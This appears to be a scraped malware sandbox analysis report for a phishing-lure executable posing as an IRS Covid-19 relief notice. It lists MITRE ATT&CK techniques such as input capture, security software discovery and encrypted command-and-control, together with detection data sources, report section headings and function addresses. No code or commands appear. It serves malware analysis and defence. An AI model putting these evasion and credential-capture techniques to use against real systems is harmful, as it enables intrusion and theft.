Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

Function 0040422B, Relevance: 11.7, APIs: 1, Strings: 6, Instructions: 1237
memoryCOMMONCrypto

Function 02412294, Relevance: 6.3, APIs: 2, Strings: 1, Instructions: 1035
COMMON

Function 02410BA5, Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 706
COMMON

Function 02414EE3, Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 648
COMMON

Function 02417B5F, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242
nativethreadCOMMON

Function 0241907C, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 223
librarynativethreadCOMMON

Function 024108BF, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 203
nativethreadCOMMON

Function 024153E5, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 441
COMMON

Function 0241094D, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 173
librarynativethreadCOMMON

Function 02410943, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160
librarynativethreadCOMMON

Function 024109BE, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 153
nativethreadCOMMON

Function 02410A0D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137
nativethreadCOMMON